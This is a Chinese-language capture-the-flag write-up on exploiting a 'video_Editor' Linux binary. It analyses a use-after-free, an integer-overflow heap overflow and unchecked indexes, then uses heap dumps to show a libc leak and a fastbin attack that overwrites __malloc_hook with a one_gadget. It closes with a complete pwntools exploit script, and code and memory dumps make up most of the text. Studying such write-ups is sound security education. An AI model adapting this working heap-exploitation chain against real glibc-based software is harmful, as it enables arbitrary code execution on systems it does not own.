漏洞分析
这道题也是linux pwn,仿照video_Editor可以对Video Clip、Audio Clip、Subtitle Clip和Metadata Clip进行增删改查。
Video Clip、Audio Clip、Subtitle Clip和Metadata Clip的存储格式如下:
00000000 videoclip struc; (sizeof=0x50, mappedto_7)
00000000 vtable dq ?
00000008 resolution dq ?
00000010 FPS dd ?
00000014 numofFrame dd ?
00000018 videodataAddr dq ?
00000020 description dq 6dup(?)
00000050 videoclip ends
00000000 audioclip struc; (sizeof=0x48, mappedto_9)
00000000 vtable dq ?
00000008 bitrate dd ?
0000000C audioLength dd ?
00000010 audiodataAddr dq ?
00000018 description dq 6dup(?)
00000048 audioclip ends
00000000 subtitleClip struc; (sizeof=0x18, mappedto_10)
00000000 vtable dq ?
00000008 language dd ?
0000000C subtitleLength dd ?
00000010 subtitledataAddr dq ?
00000018 subtitleClip ends
00000000 metadataClip struc; (sizeof=0x48, mappedto_11)
00000000 vtable dq ?
00000008 dateofcreation dq 4dup(?)
00000028 owner dq 4dup(?)
00000048 metadataClip ends
此题开了所有安全措施,这种情况下一般考虑修改__malloc_hook。

通过分析发现存在漏洞的地方如下:
editVideo_2060:new一个视频数据存储地址后就delete,之后又将数据存储到此地址中,为典型的UAF(Use After Free)漏洞。

addSubtitle_26D0;当a1->length+ buf <= 400,但是buf是一个很大的无符号数0xffffffff时,存在整形溢出,能过前面<=400的检查,也能分配一个正常大小的堆。但是在read(0, (char *)dest + a1->length, buf)时,相当于执行了read(0, (char *)dest + a1->length, 0xffffffff),存在堆溢出!

playAudio_2634、playVideo_2244:会多打印一个字符

edit_1A7C、play_1B33:以输入的数字作为索引,没有进行校验。如果可以修改特定地址的内容则程序将发生跳转。
漏洞利用
虽然漏洞很多,但仅利用UAF泄露地址和fastbin attack即可。
刚开始系统256次随机大小的分配,然后随机释放掉其中的一部分。这时候堆会显得比较乱。
注:图片里的地址与文本里的不一致,分两次记录的,但不影响理解。

add_video(1,p32(0x500), "\x00"*0x400)
0x410 000056423D102340
000056423D1012C0 70 0C B4 3B 42 56 00 00 0A 00 00 00 00 00 00 00
000056423D1012D0 0A 00 00 00 00 04 00 00 40 23 10 3D 42 56 00 00
000056423D1012E0 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D1012F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
分配0x410堆块后,将初始化时随机分配的堆块加入到smallbin中,fastbins清空了。

edit(0,p32(0x40), "\x00"*0x40)
0x50 000056423D101700 删除
000056423D1012C0 70 0C B4 3B 42 56 00 00 0A 00 00 00 00 00 00 00
000056423D1012D0 0A 00 00 00 40 00 00 00 00 17 10 3D 42 56 00 00
000056423D1012E0 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D1012F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
得到0x50大小的chunk 0x000056423D101700,放入fastbin中,为后续地址泄漏使用
add_subtitle1(p32(0x10))
0x20 000056423D0F9EB0
000056423D100590 10 0C B4 3B 42 56 00 00 0A 00 00 00 10 00 00 00
000056423D1005A0 B0 9E 0F 3D 42 56 00 00
000056423D0F9EA0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00
000056423D0F9EB0 0A EB D0 10 D7 7F00 00 88 EB D0 10 D7 7F 00 00
分配一块0x20大小块,将smallbin[0x20]第1块分配出来,其fd指向smallbin
main_arena+104=0x7FD710D0EB88

add_subtitle2(p32(0x30))
分配0x50 000056423D101700
删除0x20 000056423D0F9EB0
000056423D100590 10 0C B4 3B 42 56 00 00 0A 00 00 00 10 00 00 00
000056423D1005A0 00 17 10 3D 42 56 00 00
000056423D101700 0A EB D0 10 D7 7F 0000 88 EB D0 10 D7 7F 00 00
000056423D101710 0A 00 00 00 0000 00 00 00 00 00 00 00 00 00 00
000056423D101720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
给subtitle再次追加长度0x30,会将之前放入fastbin中的0x50大小的chunk分配回来。将原0x20块的数据拷贝,然后再拷贝附加的内容。
play(0): 打印第1个VideoCip中泄露的smallbin[0x20]地址,可利用泄露地址计算main_arena,libc基址,one_gadget。
leak_addr:=0x7FD710D0EB0A
由main_arena+104=0x7FD710D0EB88,得出
main_arena = leak_addr - 0xa + 0x88 – 104= 0x7FD710D0EB20
libc_base = main_arena - 0x3c4b20= 0x7FD71094A000
add_video(1,p32(0x500), "\x00"*0x400)
分配0x410堆 000056423D102750
056423D0FA4A0 70 0C B4 3B 42 56 00 00 0A 00 00 00 00 00 00 00
056423D0FA4B0 0A 00 00 00 00 04 00 00 50 27 10 3D 42 56 00 00
056423D0FA4C0 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
056423D0FA4D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
056423D0FA4E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
edit(2,p32(0x60), p64(fake_chunk_addr))
fake_chunk_add= main_arena - 0x33=0x7FD710D0EAED
分配0x70堆000056423D101C10,删除后放入fastbin中,并修改0x70堆的fd为fake_chunk_addr
000056423D0FA4A0 70 0C B4 3B 42 56 00 00 0A 00 00 00 00 00 00 00
000056423D0FA4B0 0A 00 00 00 08 00 00 00 10 1C 10 3D 42 56 00 00
000056423D0FA4C0 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D0FA4D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D0FA4E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C00 00 00 00 00 00 00 00 00 71 00 00 00 00 00 00 00
000056423D101C10 ED EA D0 10 D7 7F 00 00 40 12 10 3D 42 56 00 00
000056423D101C20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
add_video(1,p32(0x60), "\x00"*0x60)
分配之前删除的0x70堆000056423D101C10
000056423D101250 70 0C B4 3B 42 56 00 00 0A 00 00 00 00 00 00 00
000056423D101260 0A 00 00 00 60 00 00 00 10 1C 10 3D 42 56 00 00
000056423D101270 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C00 00 00 00 00 00 00 00 00 71 00 00 00 00 00 00 00
000056423D101C10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D101C60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
add_video(1,p32(0x60), payload)
分配0x70堆00007FD710D0EAFD,即为fake_chunk_add+0x10
000056423D0FD950 70 0C B4 3B 42 56 00 00 0A 00 00 00 00 00 00 00
000056423D0FD960 0A 00 00 00 60 00 00 00 FD EA D0 10 D7 7F 00 00
000056423D0FD970 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D0FD980 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000056423D0FD990 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00007FD710D0EAF0 60 D2 D0 10 D7 7F 00 00 00 00 00 00 00 61 61 61 `............aaa
00007FD710D0EB00 61 61 61 61 61 61 6161 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00007FD710D0EB10 6A F2 98 10 D7 7F 00 00 00 00 00 00 00 00 00 00 j...............
00007FD710D0EB20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007FD710D0EB30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007FD710D0EB40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007FD710D0EB50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00007FD710D0EB60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
one_gadget_addr = libc_base + 0x4526a =0x7FD71098F26A
payload = 'a' * 0x13 + p64(one_gadget_addr)='a' * 0x13 +p64(0x7FD71098F26A)
payload = payload.ljust(0x60, '\x00')
将__malloc_hook修改为one gadget地址。
修改前

修改后


之后,在执行new操作时将执行__malloc_hook处的one gadget。
exp脚本
#! /usr/bin/env python
#-*- encoding:utf-8 -*-
from pwn import *
context.log_level='debug'
p = process("./video_Editor")
def info(s, addr):
log.info("%s:0x%X" %(s, addr))
def add_video(i, num, data):
p.sendlineafter(">>> ", "1")
p.sendlineafter(">>> ", str(i))
p.sendlineafter("Video Resolution : ", "")
p.sendlineafter("FPS: ", "")
p.sendafter("Numberof Frames : ", num)
p.sendafter("VideoData : ", data)
p.sendlineafter("Adddescription : ", "")
def delete_vedio(i):
p.sendlineafter(">>> ", "4")
p.sendlineafter("Enter index : ", str(i))
def add_subtitle1(len):
p.sendlineafter(">>> ", "1")
p.sendlineafter(">>> ", "3")
p.sendlineafter("SubtitleLanguage : ", "")
p.sendafter("SubtitleLength : ", len)
p.sendlineafter("AddSubtitle : ", "")
def add_subtitle2(len):
p.sendlineafter(">>> ", "1")
p.sendlineafter(">>> ", "3")
p.sendafter("SubtitleLength : ", len)
p.sendlineafter("AddSubtitle : ", "")
def delete_subtitle(i):
p.sendlineafter(">>> ", "4")
p.sendlineafter("Enter index : ", str(i))
def edit(i, num, data):
p.sendlineafter(">>> ", "2")
p.sendlineafter("Enter index : ", str(i))
p.sendlineafter("Video Resolution : ", "")
p.sendlineafter("FPS: ", "")
p.sendafter("Numberof Frames : ", num)
p.sendafter("VideoData : ", data)
p.sendlineafter("Editdescription : ", "")
def play(i):
p.sendlineafter(">>> ", "3")
p.sendlineafter("Enter index : ", str(i))
def main():
main_arena_offset =0x3c4b20
one_gadget_offset =0x4526a
info("offset main_arena",main_arena_offset)
info("offsetone_gadget", one_gadget_offset)
p.sendlineafter("Please enter your Recording Name?\n","Hero")
add_video(1, p32(0x500),"\x00"*0x400)
edit(0, p32(0x40),"\x00"*0x40)
add_subtitle1(p32(0x10))
add_subtitle2(p32(0x30))
play(0)
p.recvuntil("Playingvideo...\n")
leak_addr = u64(p.recv(8))^ 0xcccccccccccccccc
info("leak_addr", leak_addr)
main_arena = leak_addr -0xa + 0x88 - 104
info("main_arena",main_arena)
libc_base = main_arena -main_arena_offset
info("libc_base", libc_base)
one_gadget_addr =libc_base + one_gadget_offset
info("one_gadget_addr", one_gadget_addr)
fake_chunk_addr =main_arena - 0x33
payload = 'a' * 0x13 +p64(one_gadget_addr)
payload =payload.ljust(0x60, '\x00')
add_video(1, p32(0x500),"\x00"*0x400)
edit(2, p32(0x60),p64(fake_chunk_addr))
add_video(1, p32(0x60),"\x00"*0x60)
add_video(1, p32(0x60),payload)
p.sendlineafter(">>> ", "1")
p.sendlineafter(">>> ", "1")
p.interactive()
main()
网友评论